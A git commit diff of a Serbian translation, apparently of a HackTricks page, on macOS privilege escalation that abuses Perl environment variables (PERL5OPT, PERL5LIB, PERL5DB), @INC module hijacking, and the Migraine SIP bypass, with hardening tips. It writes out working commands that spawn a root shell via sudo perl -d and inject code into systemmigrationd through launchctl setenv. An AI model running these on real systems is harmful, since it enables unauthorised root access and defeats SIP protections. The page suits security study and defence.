Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:14:23 +00:00
parent c242da3fc9
commit 6c1119838e

View File

@ -4,7 +4,7 @@
## Putem `PERL5OPT` & `PERL5LIB` env varijable
Korišćenjem env varijable PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.\
Korišćenjem env varijable **`PERL5OPT`** moguće je naterati **Perl** da izvrši proizvoljne komande kada se interpreter pokrene (čak **pre** nego što se prva linija ciljnog skripta analizira).
Na primer, kreirajte ovaj skript:
```perl:test.pl
#!/usr/bin/perl
@ -22,17 +22,31 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
I zatim koristite env varijable:
I zatim koristite env varijable tako da se modul automatski locira i učita:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## Putem zavisnosti
### Ostale zanimljive promenljive okruženja
Moguće je navesti redosled foldera zavisnosti Perl-a koji se izvršava:
* **`PERL5DB`** kada se interpreter pokrene sa **`-d`** (debugger) flagom, sadržaj `PERL5DB` se izvršava kao Perl kod *unutar* konteksta debagera.
Ako možete da utičete na oba, okruženje **i** komandne linijske flagove privilegovanog Perl procesa, možete uraditi nešto poput:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # će otvoriti shell pre izvršavanja skripte
```
* **`PERL5SHELL`** na Windows-u ova promenljiva kontroliše koji izvršni fajl shell-a Perl će koristiti kada treba da pokrene shell. Pominje se ovde samo radi potpunosti, jer nije relevantna na macOS-u.
Iako `PERL5DB` zahteva `-d` switch, uobičajeno je naći skripte za održavanje ili instalaciju koje se izvršavaju kao *root* sa ovim flagom uključenim za detaljno rešavanje problema, čineći promenljivu validnim vektorom eskalacije.
## Putem zavisnosti (@INC zloupotreba)
Moguće je nabrojati putanju uključivanja koju Perl će pretraživati (**`@INC`**) pokretanjem:
```bash
perl -e 'print join("\n", @INC)'
```
Što će vratiti nešto poput:
Tipičan izlaz na macOS 13/14 izgleda ovako:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +58,44 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Neki od vraćenih foldera čak ni ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, **nije** **zaštićen** **SIP-om** i **nalazi se** **pre** foldera **zaštićenih SIP-om**. Stoga, neko bi mogao da zloupotrebi taj folder da doda zavisnosti skripti tako da visoko privilegovana Perl skripta učita to.
Neki od vraćenih foldera čak ni ne postoje, međutim **`/Library/Perl/5.30`** postoji, *nije* zaštićen SIP-om i *nalazi se* pre foldera zaštićenih SIP-om. Stoga, ako možete pisati kao *root*, možete postaviti zloćudni modul (npr. `File/Basename.pm`) koji će biti *preferencijalno* učitan od strane bilo kog privilegovanog skripta koji uvozi taj modul.
> [!WARNING]
> Međutim, imajte na umu da **morate biti root da biste pisali u taj folder** i danas ćete dobiti ovaj **TCC prompt**:
> I dalje vam je potreban **root** da biste pisali unutar `/Library/Perl`, a macOS će prikazati **TCC** prompt koji traži *Potpunu pristup disku* za proces koji vrši operaciju pisanja.
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
Na primer, ako skripta uvozi **`use File::Basename;`**, bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` koji sadrži kod pod kontrolom napadača.
Na primer, ako skripta uvozi **`use File::Basename;`**, bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` da bi se izvršio proizvoljan kod.
## SIP zaobilaženje putem Migration Assistant (CVE-2023-32369 “Migraine”)
## References
U maju 2023. Microsoft je objavio **CVE-2023-32369**, nazvan **Migraine**, tehnika post-exploatacije koja omogućava *root* napadaču da potpuno **zaobiđe zaštitu integriteta sistema (SIP)**.
Ranljiva komponenta je **`systemmigrationd`**, demon sa ovlašćenjem **`com.apple.rootless.install.heritable`**. Svaki podproces koji pokrene ovaj demon nasleđuje ovlašćenje i stoga se izvršava **van** SIP ograničenja.
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
Među decom koje su identifikovali istraživači je Apple-ov potpisani interpreter:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Zato što Perl poštuje `PERL5OPT` (a Bash poštuje `BASH_ENV`), zagađenje *okruženja* daemona je dovoljno da se dobije proizvoljna izvršna prava u kontekstu bez SIP-a:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Kada `migrateLocalKDC` pokrene, `/usr/bin/perl` se pokreće sa zlonamernim `PERL5OPT` i izvršava `/private/tmp/migraine.sh` *pre nego što se SIP ponovo omogući*. Iz tog skripta možete, na primer, kopirati payload unutar **`/System/Library/LaunchDaemons`** ili dodeliti `com.apple.rootless` proširenu atribut kako biste učinili datoteku **neizbrisivom**.
Apple je ispravio problem u macOS **Ventura 13.4**, **Monterey 12.6.6** i **Big Sur 11.7.7**, ali stariji ili neispravljeni sistemi ostaju podložni eksploataciji.
## Preporuke za učvršćivanje
1. **Obrišite opasne promenljive** privilegovani launchdaemons ili cron poslovi treba da se pokreću u čistom okruženju (`launchctl unsetenv PERL5OPT`, `env -i`, itd.).
2. **Izbegavajte pokretanje interpretera kao root** osim ako nije strogo neophodno. Koristite kompajlirane binarne datoteke ili rano smanjite privilegije.
3. **Vendor skripte sa `-T` (taint mode)** tako da Perl ignoriše `PERL5OPT` i druge nesigurne opcije kada je provera taint-a omogućena.
4. **Držite macOS ažuriranim** “Migrena” je potpuno ispravljena u trenutnim izdanjima.
## Reference
- Microsoft Security Blog “Nova macOS ranjivost, Migrena, može zaobići zaštitu integriteta sistema” (CVE-2023-32369), 30. maj 2023.
- Hackyboiz “macOS SIP Bypass (PERL5OPT & BASH_ENV) istraživanje”, maj 2025.
{{#include ../../../banners/hacktricks-training.md}}